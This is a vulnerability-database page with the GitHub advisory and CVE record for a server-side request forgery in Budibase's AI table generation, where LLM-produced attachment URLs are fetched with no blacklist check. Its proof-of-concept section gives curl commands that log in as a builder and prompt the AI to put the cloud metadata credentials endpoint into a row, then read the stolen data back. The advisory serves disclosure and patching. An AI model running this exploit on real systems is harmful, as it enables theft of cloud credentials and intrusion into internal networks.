GHSA-HFHX-W8P8-4HC7

Vulnerability from github – Published: 2026-07-24 21:44 – Updated: 2026-08-12 18:59

Summary

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Details

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.

# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
  -H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content

Impact

Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
Internal service enumeration and data exfiltration from private network resources
Port scanning of internal infrastructure via timing/error differences
Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"

import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"

// ...

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
-    const res = await fetch(url)
+    const res = await fetchWithBlacklist(url)

    const extension = [...res.url.split(".")].pop()!.split("?")[0]

Severity

4.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:44:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n\u003c= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record\u003cstring, any\u003e,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise\u003cResponse\u003e {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects \u003c= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST \u0027http://TARGET:10000/api/global/auth/default/login\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"builder@example.com\",\"password\":\"password123\"}\u0027 \\\n  -c - | grep budibase:auth | awk \u0027{print $NF}\u0027)\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d \u0027{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }\u0027\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=\u003ctable_id\u003e\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```",
  "id": "GHSA-hfhx-w8p8-4hc7",
  "modified": "2026-08-12T18:59:59Z",
  "published": "2026-07-24T21:44:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Budibase: SSRF via bare fetch() in uploadUrl during AI table generation"
}

CVE-2026-73307 (GCVE-0-2026-73307)

Vulnerability from cvelistv5 – Published: 2026-08-12 18:59 – Updated: 2026-08-12 19:46

Title

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.

Severity

4.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-12 19:45 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM
https://github.com/Budibase/budibase/pull/18866	x_refsource_MISC
https://github.com/Budibase/budibase/commit/fc816…	x_refsource_MISC
https://github.com/Budibase/budibase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Budibase	budibase	Affected: < 3.39.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-73307",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-12T19:45:52.864386Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-12T19:46:08.763Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.39.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 4.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-12T18:59:52.011Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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      "references": [
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          "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7",
          "tags": [
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          ],
          "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
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          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/Budibase/budibase/pull/18866"
        },
        {
          "name": "https://github.com/Budibase/budibase/commit/fc8161e739bdc5513c4314282251e327e7fe339f",
          "tags": [
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          "name": "https://github.com/Budibase/budibase/releases/tag/3.39.4",
          "tags": [
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          "url": "https://github.com/Budibase/budibase/releases/tag/3.39.4"
        }
      ],
      "source": {
        "advisory": "GHSA-hfhx-w8p8-4hc7",
        "discovery": "UNKNOWN"
      },
      "title": "Budibase: SSRF via bare fetch() in uploadUrl during AI table generation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "cveId": "CVE-2026-73307",
    "datePublished": "2026-08-12T18:59:52.011Z",
    "dateReserved": "2026-08-11T19:42:11.451Z",
    "dateUpdated": "2026-08-12T19:46:08.763Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-HFHX-W8P8-4HC7

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

Affected Versions

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

Compare with correct sibling: processUrlFile() in extract.ts

Proof of Concept

Impact

Suggested Remediation

CVE-2026-73307 (GCVE-0-2026-73307)

Tags

Sightings

Nomenclature

Related by attack behaviour